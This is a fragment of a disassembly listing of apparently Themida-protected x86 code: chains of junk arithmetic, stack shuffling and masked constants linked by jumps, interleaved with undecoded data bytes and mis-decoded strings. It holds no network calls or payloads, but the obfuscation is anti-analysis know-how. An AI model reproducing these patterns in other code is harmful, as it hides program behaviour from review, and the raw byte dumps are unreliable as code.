push bx
jmp loc_4F9361
; ---------------------------------------------------------------------------
loc_4FD1B2: ; CODE XREF: Themida_:004FA6C7j
push ebx
push 4705h
jmp loc_4FD9E5
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 81000000h, 4C7h, 243C8700h, 0FFD8015Ch, 3DE92434h, 80FFFFB2h
dd 53E91FE5h
db 90h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD1DF: ; CODE XREF: Themida_:004FA765j
mov dh, 10h
or dh, 0FBh
inc dh
xor dh, 7
sub ch, dh
pop edx
add bl, ch
mov ecx, [esp]
add esp, 4
add bl, 7Ch
add bl, al
sub esp, 4
jmp loc_4F6E6F
; ---------------------------------------------------------------------------
loc_4FD207: ; CODE XREF: Themida_:004FADFCj
sub ecx, 0F5F09991h
add edx, 44293BE1h
add edx, ecx
sub edx, 44293BE1h
push dword ptr [esp]
mov ecx, [esp]
jmp loc_4FC04A
; ---------------------------------------------------------------------------
dw 8F64h
dd 8AE4E902h, 0C33FFFFh, 240C3124h, 0E9240C33h, 34E5h
; ---------------------------------------------------------------------------
loc_4FD23C: ; CODE XREF: Themida_:004F9794j
push ebx
push eax
mov eax, 62C06752h
xor eax, 770D3307h
add eax, 536D6D76h
jmp loc_4FDF22
; ---------------------------------------------------------------------------
dw 0D3F7h
aBP8l db 'Ëp8L',0
dw 0C381h
dd 0FC0664BEh, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0BA241489h
dd 43E974FCh, 0FFFDF2E9h, 0E0CA81FFh, 0E902BB59h, 0FFFFEB71h
dd 0C003E680h, 0CEFE07EEh, 37EE80h, 0E95A5AF3h, 0FFFFC818h
dd 240C8B66h, 81E28952h, 4C2h, 0EBBD5500h, 0E96C2F4Ah
dd 0FFFFB9E0h
; ---------------------------------------------------------------------------
loc_4FD2B4: ; CODE XREF: Themida_:004F8AD9j
pop ebp
loc_4FD2B5: ; CODE XREF: Themida_:004F9779j
; Themida_:004FBADAj
push 37Ah
mov [esp], edi
push eax
jmp loc_4F91FA
; ---------------------------------------------------------------------------
loc_4FD2C3: ; CODE XREF: Themida_:0050275Fj
push eax
mov eax, 5E243E90h
jmp loc_500785
; ---------------------------------------------------------------------------
dw 3FE9h
dd 89FFFF8Ah, 0B951241Ch, 53B67146h, 79D9C181h, 0F1812474h
dd 55A0FC7h, 757EC981h, 0B8E915E5h, 83FFFFC8h, 0E95704C4h
dd 4E49h, 0FF2434FFh, 83592434h, 545704C4h, 0C0E9505Fh
dd 81FFFFF4h, 0A36231EAh, 22E1E956h, 1C890000h, 8BB6624h
dd 0B378E90Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD326: ; CODE XREF: Themida_:004FFBFAj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4FBECD
; ---------------------------------------------------------------------------
db 0B8h, 7Ah, 4Bh
dd 35402CA1h, 2CA14B7Fh, 158C189h, 20559C8h, 50000000h
dd 42474FFh, 37B6E958h, 0C2810000h, 5CAB5113h, 0A1E9C229h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD363: ; CODE XREF: Themida_:004F753Aj
mov [esp], ebx
mov ebx, 0
add ebx, edx
jmp loc_4F708B
; ---------------------------------------------------------------------------
dw 0EA81h
dd 0AE8CC859h, 815AD501h, 4EDh, 53DEE900h, 0C7810000h
dd 4, 6804C783h, 394Dh, 0E9243C89h, 5157h
; ---------------------------------------------------------------------------
loc_4FD39C: ; CODE XREF: Themida_:004FE297j
sub eax, edi
pop edi
mov esi, eax
jmp loc_4F875A
; ---------------------------------------------------------------------------
dw 8DBDh
dd 0F716241Dh, 93CD81DDh, 81788971h, 81B8AC5h, 0E9EF896Fh
dd 0FFFFE09Eh, 0E904C483h, 1CF0h, 90EBE955h, 34FFFFFFh
dd 61685824h, 89000062h, 0E2892414h, 4C281h, 56560000h
dd 0FFA3AFE9h, 59E304FFh, 0D8289C2Ch, 9E049C04h, 30C968h
dd 0C7E1E900h, 148BFFFFh, 4C48124h, 0E9000000h, 15FEh
; ---------------------------------------------------------------------------
loc_4FD40C: ; CODE XREF: Themida_:004FBAFAj
push 5D96h
mov [esp], ebx
mov ebx, 0FFFFFFFFh
add ebp, 1D265976h
jmp loc_4F6865
; ---------------------------------------------------------------------------
dd 0BF243C89h, 0D3F0BE6h, 94685650h, 5E374F04h, 2C93F681h
dd 0F0894B85h, 685Eh, 0BBE90000h, 0AC000042h, 592C512Ch
dd 5166D800h, 0E80059B5h, 68665966h, 8966790Eh, 51B22414h
dd 2F12E9h, 0B7E95900h, 68000025h, 1EACh, 0FFCDF9E9h, 48B66FFh
dd 0ED65E924h, 1433FFFFh, 24143124h, 8B241433h, 4302424h
dd 35E99C24h, 66FFFFCFh, 6615F868h, 0C9E9E95Ah, 20C1FFFFh
dd 0F9308107h, 0E93EC778h, 0FFFF9DE6h, 895EF531h, 47215DE8h
dd 0F5E9581Ch, 89000007h, 0E189240Ch, 4EC81h, 1C890000h
dd 46824h, 1C8B0000h, 4C48324h, 1F7CE9h, 81E18900h, 4C1h
dd 4C18300h, 5C240C87h, 0FFC79DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FD4ED: ; CODE XREF: Themida_:00500001j
pop esp
mov [esp], ebp
push ecx
mov ecx, 68734B4Fh
jmp loc_5025AB
; ---------------------------------------------------------------------------
loc_4FD4FC: ; CODE XREF: Themida_:0050060Dj
push edx
mov dl, 0C2h
mov bl, dl
pop edx
xor al, bl
pop bx
sub esp, 4
mov [esp], edx
push ebx
mov bh, 5Fh
push eax
mov al, 0A7h
dec al
or al, 64h
and al, 8Fh
sub al, 0B5h
or al, 0DCh
add al, 2Ch
sub bh, al
jmp loc_4FCC7B
; ---------------------------------------------------------------------------
db 89h, 0E0h, 5
dd 4, 42Dh, 24048700h, 8924248Bh, 0AC682404h, 89000022h
dd 4832424h, 57580424h, 4BFh, 0A557E900h, 3C89FFFFh, 8ABF6624h
dd 0D704E94Bh, 55BFFFFh, 0D93C20h, 202DC801h, 5900D93Ch
dd 4EC8355h, 0BE243489h, 2D7D2B66h, 8101EE83h, 3B7D7FEEh
dd 1B9512Bh, 29000000h, 0E95759CEh, 0FFFF92E1h, 0E924048Bh
dd 0FFFFE1A4h
; ---------------------------------------------------------------------------
loc_4FD598: ; CODE XREF: Themida_:004F600Cj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
shl eax, cl
sub esp, 4
mov [esp], esi
push 3068h
jmp loc_4F6F19
; ---------------------------------------------------------------------------
db 89h
dd 0D568242Ch, 0E9477976h, 0FFFFD34Dh, 1BFh, 5FF80100h
dd 56D0F748h, 7A2AAEBEh, 5EF03123h, 4FCDE9h, 48B6600h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_4FE2A4
; ---------------------------------------------------------------------------
db 33h, 0Ch, 24h
dd 0FFB330E9h, 9DBBDFFh, 0ED810288h, 92B7A740h, 2C8BEB01h
dd 4EC8124h, 0E9000000h, 32B6h, 8105EBC1h, 0A32DE5C3h
dd 0ACA1E9FBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD622: ; CODE XREF: Themida_:004FB47Dj
add ebp, 4
add ebp, 4
jmp loc_4FFB41
; ---------------------------------------------------------------------------
db 47h
dd 3220EF81h, 0B9516CF7h, 0A7A90035h, 159CF01h, 0D0295FF8h
dd 0A63C642Dh, 4D71E94Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FD652: ; CODE XREF: Themida_:004FC5D5j
shr ecx, 5
xor ecx, 5FB04BE0h
dec ecx
jmp loc_4FED6F
; ---------------------------------------------------------------------------
loc_4FD661: ; CODE XREF: Themida_:004FB1E6j
mov [esp], ebp
push ecx
push 53B5377h
pop ecx
xor ecx, 1ACA7B10h
mov ebp, ecx
pop ecx
xor [esp+4], ebp
mov ebp, [esp]
push ebx
push esp
jmp loc_4F8E00
; ---------------------------------------------------------------------------
loc_4FD682: ; CODE XREF: Themida_:004F61E9j
add esp, 4
shr eax, 10h
xor eax, ecx
push eax
xchg edx, [esp]
not edx
xchg edx, [esp]
jmp loc_4FFF8F
; ---------------------------------------------------------------------------
db 81h
dd 5C7CE5C5h, 2C875A12h, 24248B24h, 2302E9h, 0C4685800h
dd 8900004Eh, 55E9240Ch, 0BB00000Bh, 0F151EFCDh, 0E95BD989h
dd 0FFFF886Ah, 8904EC83h, 5D54242Ch, 4B951h, 0C5810000h
dd 2E9C12CEh, 468CD01h, 89000045h, 56B9240Ch, 4167FB64h
dd 96E9E1D1h, 8100002Dh, 4C5h, 4ED8100h, 0E9000000h, 1F1Fh
; ---------------------------------------------------------------------------
loc_4FD704: ; CODE XREF: Themida_:004FFFF1j
push edi
mov edi, 7A142AB1h
jmp loc_4F7FC1
; ---------------------------------------------------------------------------
db 0BAh
dd 1373150Ch, 0FFF54BE9h, 88D5F6FFh, 526659E8h, 0D0E9FDB2h
dd 8100003Ch, 4C4h, 24148700h, 1E49E9h, 0C5815D00h, 7E6B59CAh
dd 0F581454Dh, 0BA17731h, 0FFE40CE9h, 280904FFh, 0B36DE9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD752: ; CODE XREF: Themida_:00500DDFj
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edx
push ecx
mov ecx, 55674CDCh
shl ecx, 1
xor ecx, 29A87AE6h
jmp loc_4F6E8C
; ---------------------------------------------------------------------------
loc_4FD76E: ; CODE XREF: Themida_:004FA75Dj
not edx
jmp loc_4F5F65
; ---------------------------------------------------------------------------
db 58h, 0E9h, 4
dd 81000022h, 0D8C78FC6h, 5EF201A0h, 56B6BE56h, 0E6D12030h
dd 1D1FE681h, 0B2E96881h, 8100001Ah, 4C4h, 0E1895100h
dd 31CBE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FD7A6: ; CODE XREF: Themida_:004FB977j
neg eax
jmp loc_4FF6F9
; ---------------------------------------------------------------------------
db 89h, 0E3h, 52h
dd 0FE034DBAh, 0B5CA8142h, 81486925h, 66569DCAh, 0CE6CE954h
dd 5166FFFFh, 8544E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD7CE: ; CODE XREF: Themida_:004F8FD1j
pop esp
and eax, edx
mov edx, [esp]
jmp loc_4FBAD2
; ---------------------------------------------------------------------------
db 4Fh, 81h, 0E7h
dd 0FA13B62h, 15BBE9h, 0A6BB5300h, 8146F502h, 0C97D15CBh
dd 0C1D3F77Eh, 0E3C108EBh, 4C38102h, 1FDFBF6h, 14875BDAh
dd 24248B24h, 0FF8505E9h, 176BBFFh, 0DF292540h, 5FF8015Bh
dd 5A2434FFh, 5304C483h, 0D5385BBBh, 0A1685257h, 5A03A0B9h
dd 8904EC83h, 0A0BF243Ch, 0E93E841Fh, 0FFFFCD22h
; ---------------------------------------------------------------------------
loc_4FD83C: ; CODE XREF: Themida_:004FE3F8j
push esi
mov esi, 2
sub ebp, 2C5915AFh
add ebp, esi
add ebp, 2C5915AFh
pop esi
jmp loc_50177E
; ---------------------------------------------------------------------------
dw 8956h
dd 0D71EE9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD85E: ; CODE XREF: Themida_:004FAB78j
xor [esp], ecx
jmp loc_4FAA82
; ---------------------------------------------------------------------------
dw 0E95Dh
dd 49F7h, 4F17E942h, 4330000h, 16FAE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FD87A: ; CODE XREF: Themida_:004F9769j
push eax
mov eax, 249A30A8h
add edx, eax
jmp loc_4F8239
; ---------------------------------------------------------------------------
db 68h
dd 30C90A67h, 0D3EA815Ah, 81402F13h, 1C2h, 0B9CDE900h
dd 0CF01FFFFh, 0FFD2F7E9h, 7EE3BDFFh, 0DDF7793Dh, 440BED81h
dd 0EF295975h, 2AC7815Dh, 0FD61A855h, 0A68h, 17DAE900h
dd 0C4810000h, 4, 0E95E5456h, 0FFFFD9CCh, 8324048Bh, 0C48304C4h
dd 40504h, 0A8E90000h, 31FFFF8Ch, 5E9D68C3h, 0C890000h
dd 0DF10E924h, 0BD66FFFFh, 1660002h, 6602246Ch, 83242C8Bh
dd 8F6602C4h, 7E92404h, 0C1000003h, 52E907EFh, 66FFFFE7h
dd 8166FB29h, 66414BC3h, 192FC381h, 83243C8Bh, 556604C4h
dd 90B3E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FD932: ; CODE XREF: Themida_:004F6D5Cj
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_4F623A
; ---------------------------------------------------------------------------
loc_4FD941: ; CODE XREF: Themida_:00502784j
add ebp, 0FF76C8FFh
sub [edi+24h], ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
loc_4FD95C: ; CODE XREF: Themida_:004F90F4j
push 47Ch
mov [esp], ebx
mov eax, [esp]
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_4F76BD
; ---------------------------------------------------------------------------
loc_4FD97A: ; CODE XREF: Themida_:00500229j
xor ebp, 9814259h
jmp loc_4FC792
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4815Ah, 0E9000000h, 4962h, 2BDB0559h, 0D8015938h
dd 382BDB2Dh, 0D8295B59h, 0A9BE5657h, 8919487Ah, 0EB78E9F7h
dd 0C281FFFFh, 2BD3F40Ch, 0E95AD689h, 0FFFF9839h
; ---------------------------------------------------------------------------
loc_4FD9C0: ; CODE XREF: Themida_:00500EF2j
push esi
mov esi, ecx
mov ebp, esi
pop esi
jmp loc_500073
; ---------------------------------------------------------------------------
db 0B1h
dd 59CB88A6h, 0D928FAB1h, 5B2434FFh, 0FFBEA9E9h, 24148BFFh
dd 3432E9h
db 0
; ---------------------------------------------------------------------------
loc_4FD9E5: ; CODE XREF: Themida_:004FD1B8j
mov [esp], edx
mov edx, 55B06768h
add [esp+4], edx
push dword ptr [esp]
pop edx
add esp, 4
pop eax
jmp loc_4F6996
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aStsm7 db '$STéŒ7',0
align 4
loc_4FDA0C: ; CODE XREF: Themida_:004FFBBDj
pop ebp
pop edi
push edx
push ebx
mov ebx, 255B0591h
sub ebx, 28EB7C45h
add ebx, 9F060B0h
push edi
mov edi, 65FE9FCh
sub ebx, edi
pop edi
mov edx, ebx
pop ebx
add edx, ebx
jmp loc_5025FC
; ---------------------------------------------------------------------------
loc_4FDA34: ; CODE XREF: Themida_:004FAADAj
push ebp
mov ebp, 30413E77h
add ecx, ebp
jmp loc_4FA3D8
; ---------------------------------------------------------------------------
db 1, 0F8h, 5Fh
dd 2BA52h, 23E90000h, 89000009h, 405E0h, 68520000h, 2C2F1EA6h
dd 243DE95Ah, 1C310000h, 241C3324h, 5450535Ch, 3BB5358h
dd 813ADA3Ah, 726E64CBh, 403BE925h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FDA7E: ; CODE XREF: Themida_:004FABF0j
mov [esp], ecx
push 0CCAh
jmp loc_50198B
; ---------------------------------------------------------------------------
align 4
dd 805866E7h, 0FA306EF7h, 5AD0285Bh, 24148B66h, 2C483h
dd 0B5B2E9D8h, 0C968FFFFh, 8900000Ah, 0BE562414h, 1B125EB8h
dd 5581CE81h, 0DEF7718Bh, 6E87C681h, 0D6F704FAh, 4EC8353h
dd 0B9240C89h, 1A92116h, 548AE181h, 0BB533003h, 29B9D50Bh
dd 895BD929h, 0A8E959CBh, 66000035h, 2454F651h, 66596601h
dd 3097B753h, 0F44BE9FDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FDAFA: ; CODE XREF: Themida_:004F7091j
mov [esp], edx
push ebp
push ebx
mov ebx, 38483185h
dec ebx
sub ebx, 38483184h
push ebx
pop ebp
pop ebx
mov edx, ebp
pop ebp
add edx, ebx
jmp loc_4FC31C
; ---------------------------------------------------------------------------
loc_4FDB18: ; CODE XREF: Themida_:004FEA61j
add ebx, 4
push edx
sub esp, 4
mov [esp], esi
jmp loc_4FEBC6
; ---------------------------------------------------------------------------
loc_4FDB2A: ; CODE XREF: Themida_:004FEFE8j
pop esi
pop dword ptr [esp]
push esi
push ebp
pop esi
pop ebp
not ebp
xchg ebp, esi
jmp loc_4F8A14
; ---------------------------------------------------------------------------
db 35h
dd 3ABF129Dh, 8158C309h, 0E972B0C3h, 61CB8146h, 81274928h
dd 0A49D0EBh, 9B56E95Ah, 8953FFFFh, 4C381E3h, 81000000h
dd 4C3h, 0D951E900h, 3C89FFFFh, 761E6824h, 8F540000h, 4812404h
dd 424h, 2434FF00h, 0FFC8ACE9h, 0E9E389FFh, 0FFFFE95Ch
dd 240C8B66h, 57585450h, 0F7130768h, 0E7815F57h, 1F1B1188h
dd 4A87E9h, 0A5E95F00h, 5DFFFF89h, 1F13E9h, 65B75300h
dd 0C780D7F6h, 0B4506601h, 0FEC5E96Fh, 0C683FFFFh, 24348704h
dd 0E924248Bh, 20Bh, 0E958C688h, 0FFFFF88Fh
; ---------------------------------------------------------------------------
loc_4FDBDC: ; CODE XREF: Themida_:004FD0D0j
push 74C561F6h
pop eax
jmp loc_4FFA85
; ---------------------------------------------------------------------------
db 8Fh
dd 248B2404h, 0E3895324h, 4C381h, 0EB830000h, 2277E904h
dd 0C5810000h, 0E5B1F7Ch, 242C8759h, 0F624248Bh, 0B60F66F9h
dd 47E3E9CCh, 0EC810000h, 2, 24148966h, 24D8BA66h, 63C28166h
dd 0EAC16656h, 66426608h, 86BB6653h, 0C28166FFh, 1662F68h
dd 0EA8166DAh, 5B662F68h, 24540166h, 148B6602h, 2C48324h
dd 0FF80BDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FDC55: ; CODE XREF: Themida_:00500082j
and ecx, edi
push dword ptr [esp]
push dword ptr [esp]
mov edi, [esp]
jmp loc_4FB1C7
; ---------------------------------------------------------------------------
db 57h, 0E9h, 10h
dd 0B8FFFFCCh, 4, 39AAEB81h, 0C3014FAEh, 39AAC381h, 0F6E94FAEh
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FDC83: ; CODE XREF: Themida_:004FEB5Cj
xor dword ptr [esp], 48C21608h
pop edx
xor edx, 48C21608h
push esi
mov esi, esp
jmp loc_4FCFBF
; ---------------------------------------------------------------------------
aYa db 'Yۮ([',0
db 0F0h
dd 9E8E9h
db 0
; ---------------------------------------------------------------------------
loc_4FDCA5: ; CODE XREF: Themida_:0050132Aj
add edx, 4
xchg edx, [esp]
pop esp
or [edi+1Ch], ecx
pop ecx
push 64B0h
mov [esp], ebx
jmp loc_5008A7
; ---------------------------------------------------------------------------
loc_4FDCBD: ; CODE XREF: Themida_:004F842Cj
sub [esp], eax
jmp loc_4FA418
; ---------------------------------------------------------------------------
loc_4FDCC5: ; CODE XREF: Themida_:004F908Cj
add ebx, edi
mov ecx, [ebx]
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], eax
jmp loc_50184D
; ---------------------------------------------------------------------------
loc_4FDCD8: ; CODE XREF: Themida_:0050078Dj
shr eax, 0Ch
xor eax, ecx
push 4984h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
not dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_4FF76F
; ---------------------------------------------------------------------------
db 0C0h, 0E6h, 3
dd 806CF680h, 0EE8012EEh, 66F0304Ch, 5124148Bh, 0FFA062E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FDD49: ; CODE XREF: Themida_:004F642Fj
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_4FE836
; ---------------------------------------------------------------------------
loc_4FDD63: ; CODE XREF: Themida_:004F80EEj
mov ebx, edi
pop edi
mov esi, ebx
jmp loc_4FB5E3
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 0FF8F95E9h, 241489FFh, 0C6FEF8B6h, 80A9F680h, 0F72839EFh
dd 5A39C780h, 805BFE88h, 0F330A0F6h, 8124148Bh, 4C4h, 35D6E900h
dd 595E0000h, 0FF205F89h, 0E95B2434h, 0EBFh
; ---------------------------------------------------------------------------
loc_4FDDAC: ; CODE XREF: Themida_:004FB6E4j
jz loc_4F7F69
push ebp
push eax
mov eax, 22814D15h
and eax, 581C1002h
shr eax, 8
shr eax, 3
push ecx
mov ecx, 3C7F5820h
sub ecx, 1
push edi
jmp loc_4FBA15
; ---------------------------------------------------------------------------
db 81h
dd 61051FEFh, 54E94F11h, 55FFFFF8h, 565B951h, 0D9F72527h
dd 0F616E981h, 0E95783EBh, 0FFFFAB72h, 0FFC38343h, 1D64E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FDDFE: ; CODE XREF: Themida_:004FE33Fj
shr edx, 3
jmp loc_4FA0D8
; ---------------------------------------------------------------------------
dw 0C483h
dd 8BF83002h, 6E9241Ch, 5DFFFFE7h, 0A4E9C101h, 1FFFFCFh
dd 0FAEA81FAh, 5F2C9B43h, 7EF28158h, 0E98C49F0h, 0FFFFC54Fh
; ---------------------------------------------------------------------------
loc_4FDE30: ; CODE XREF: Themida_:004FF47Ej
pop esp
and eax, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_4FB5BE
; ---------------------------------------------------------------------------
dd offset dword_4C92F8+770h
align 4
dd 54243489h, 72B8505Eh, 0C1441524h, 0D8F704E8h, 68h, 0A37AE900h
dd 2C33FFFFh, 2748E924h, 575B0000h, 0E6685152h, 5970913Ah
dd 5DE9D1F7h, 8BFFFFC3h, 0C483243Ch, 0E0895004h, 405h
dd 4C08300h, 5C240487h, 148BD031h, 4EC8324h, 54240C89h
dd 0FFB275E9h, 7E70E9FFh, 0B850FFFFh, 72562A34h, 0DE35D8F7h
dd 0E929674Dh, 107Eh, 0C268E689h, 8900002Dh, 0A7BD242Ch
dd 812FC221h, 3605BCF5h, 8E5C15Bh, 8106EDC1h, 0D09068F5h
dd 8BEE0103h, 0C481242Ch, 4, 0FF91DAE9h, 80C328FFh, 0EB80ABEBh
dd 0C0B60F12h, 46E8E9h, 39B65200h, 0FFC1B5E9h, 6AA8BEFFh
dd 3CE92E90h, 81FFFFE7h, 9975FAC9h, 81414938h, 9A2986E1h
dd 78E98175h, 294007C5h, 2FB4E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FDF22: ; CODE XREF: Themida_:004FD24Dj
sub eax, 603F7395h
mov ebx, eax
pop eax
shl ebx, 4
or ebx, 50C858A1h
add ebx, 6A40374Eh
and ebx, 45A01A4Bh
add ebx, 3E4E110Eh
add ebx, 8191DCEBh
sub edi, 43216E1Ah
add edi, 3EF3721h
add edi, 4A832C75h
add edi, ebx
sub edi, 4A832C75h
sub edi, 3EF3721h
add edi, 43216E1Ah
pop ebx
jmp loc_4FB997
; ---------------------------------------------------------------------------
db 66h
dd 0E9240C8Bh, 0FFFFF748h, 0DB7E9ADh, 3DBD0000h, 8106C757h
dd 930BD9C5h, 12F58128h, 12F5A63h, 56555DE8h, 468h, 0F5895E00h
dd 8BE8295Eh, 0B2E9242Ch
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FDFAF: ; CODE XREF: Themida_:004FFE5Dj
mov [esp], eax
push esp
pop eax
push ebp
push edi
mov edi, 75EC280Dh
jmp loc_4F6DDD
; ---------------------------------------------------------------------------
dd 5C241C87h, 0BB241C89h, 4, 0FFA5BAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FDFD1: ; CODE XREF: Themida_:004FA909j
xor dword ptr [esp], 65D04F55h
pop ebx
xor ebx, 65D04F55h
pop ebp
push edx
mov edx, 3F431AFCh
jmp loc_500370
; ---------------------------------------------------------------------------
db 0F6h
dd 0B75366D9h, 203E9CDh, 0E9590000h, 2B9h, 81242C8Bh, 4C4h
dd 4EC8100h, 89000000h, 0CAE92434h
db 83h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE013: ; CODE XREF: Themida_:00500772j
mov ebp, [esp]
add esp, 4
jmp loc_4FB24A
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
db 83h, 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_4FFFFE
; ---------------------------------------------------------------------------
loc_4FE03B: ; CODE XREF: Themida_:004FE796j
add eax, 175913B1h
pop ebp
add eax, 4
xor eax, [esp]
jmp loc_4F9BC0
; ---------------------------------------------------------------------------
loc_4FE04C: ; CODE XREF: Themida_:004FC7A7j
add esi, ebp
jmp loc_4F90B6
; ---------------------------------------------------------------------------
db 83h
dd 0C8702E9h, 24248B24h, 24148966h, 0E99C5066h, 1EA0h
dd 54E9BD55h, 0C5817DFBh, 8204AB1Bh, 48FDC681h, 0EE016175h
dd 48FDEE81h, 815D6175h, 2C6h, 24348700h, 9CC8845Ch, 0FF7CACE9h
dd 0AFBDFFh, 0ED816526h, 4B1856CEh, 5005EDC1h, 0B0C70B8h
dd 8BC5217Eh, 16E92404h, 89FFFFD3h, 0A6BD242Ch, 816CEF02h
dd 516A32F5h, 0E558E96Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE0C6: ; CODE XREF: Themida_:004F94F5j
and ebx, edi
jmp loc_502777
; ---------------------------------------------------------------------------
loc_4FE0CD: ; CODE XREF: Themida_:004F7422j
push ebp
jmp loc_4FCEE0
; ---------------------------------------------------------------------------
loc_4FE0D3: ; CODE XREF: Themida_:004FF6E6j
mov eax, [esp]
add esp, 4
push ecx
mov ch, 0D8h
sub esp, 4
jmp loc_4FA762
; ---------------------------------------------------------------------------
dd 525E5456h, 0FA6016BAh, 0FDEA8142h, 8153A872h, 0AE12EBC2h
dd 0D8E910h, 0EC810000h, 4, 0E9240489h, 0FFFFB560h, 0B519B450h
dd 0AB6DE9AEh, 0C581FFFFh, 306A70DCh, 84E9F501h, 81FFFFEFh
dd 0BC43E1C7h, 5FFE0116h, 0F681DEF7h, 717B4FC1h, 3D35E9h
dd 0A0E95900h, 0F7FFFFE2h, 0C1582414h, 0F74802E0h, 0A0BA52D8h
dd 555CF859h, 0DB7537BDh, 7E5C14Dh, 0F581D5F7h, 5D000E73h
dd 747E9h, 92BF5700h, 121FC3Ch, 9A4E9FBh, 0C3810000h, 4
dd 0FFD8D3E9h, 5EF089FFh, 1209E9h
db 0
; ---------------------------------------------------------------------------
loc_4FE185: ; CODE XREF: Themida_:004FEA85j
add eax, 0D822F5D4h
sub edi, eax
pop eax
sub edi, 0F149990Eh
add ebx, 6C2A3281h
jmp loc_4F7586
; ---------------------------------------------------------------------------
dw 0D92Ch
dd 0FFDE70E9h, 0C8B66FFh, 0E1895124h, 4C181h, 0EC830000h
dd 242C8904h, 6E90BB53h, 0B9511E43h, 255FA800h, 75E9CD89h
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE1CB: ; CODE XREF: Themida_:004F81B5j
add esp, 4
jmp loc_4F75AF
; ---------------------------------------------------------------------------
dw 0D601h
dd 4C6835Ah, 5C243487h, 0FFF702E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FE1E5: ; CODE XREF: Themida_:004F7196j
mov ebx, 0FFFFFFFFh
sub [edi+24h], ebx
pop ebx
jmp loc_4F72B3
; ---------------------------------------------------------------------------
loc_4FE1F3: ; CODE XREF: Themida_:004FF23Bj
pop ebx
jmp loc_4F73BA
; ---------------------------------------------------------------------------
db 28h, 0F9h, 66h
dd 59CB005Bh, 0E9C0B60Fh, 0FFFFC5E2h, 0E924248Bh, 0FFFFF265h
dd 4B9h, 0FFC80100h, 0E2E92434h
db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE21F: ; CODE XREF: Themida_:004F7143j
pop esi
add dword ptr [esp+4], 457E385Bh
add [esp+4], ecx
sub dword ptr [esp+4], 457E385Bh
jmp loc_4F842B
; ---------------------------------------------------------------------------
db 0E9h, 0D4h, 7Ah
dd 3C33FFFFh, 0CC4DE924h, 0E289FFFFh, 4C281h, 0C2810000h
dd 4, 2474FF52h, 24148B04h, 8F04C483h, 248B2404h, 3FB0124h
dd 68535B03h, 3D7Ah, 50242489h, 4B8h, 24440100h, 1C8B5804h
dd 4C48124h, 83000000h, 48904ECh, 0F9D9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE292: ; CODE XREF: Themida_:004FA82Fj
mov edi, 8E18FBAFh
jmp loc_4FD39C
; ---------------------------------------------------------------------------
loc_4FE29C: ; CODE XREF: Themida_:004FD06Aj
xchg ebx, [esp]
jmp loc_4FFCC8
; ---------------------------------------------------------------------------
loc_4FE2A4: ; CODE XREF: Themida_:004FD5ECj
push ebx
jmp loc_4FF414
; ---------------------------------------------------------------------------
dw 1433h
dd 24248B24h, 0FFA961E9h, 4EA81FFh, 87000000h, 895C2414h
dd 0C788241Ch, 8B5BFA88h, 0C4812404h, 4, 5305E2C0h, 0A3E905B3h
dd 8BFFFF7Dh, 0EC832424h, 240C8904h, 9C20E95Bh, 0C281FFFFh
dd 4, 2C281h, 0FF520000h, 0E9042474h, 0FFFFB499h, 0EE6DE95Dh
dd 0D001FFFFh, 98403105h, 181CE965h, 3C870000h, 1C895C24h
dd 1EF8BB24h, 0D3F704B1h, 0C383EBD1h, 2E3C101h, 0F381D3F7h
dd 9623DEBh, 726FC581h, 0DD013FDAh, 0FFC12EE9h
db 0FFh
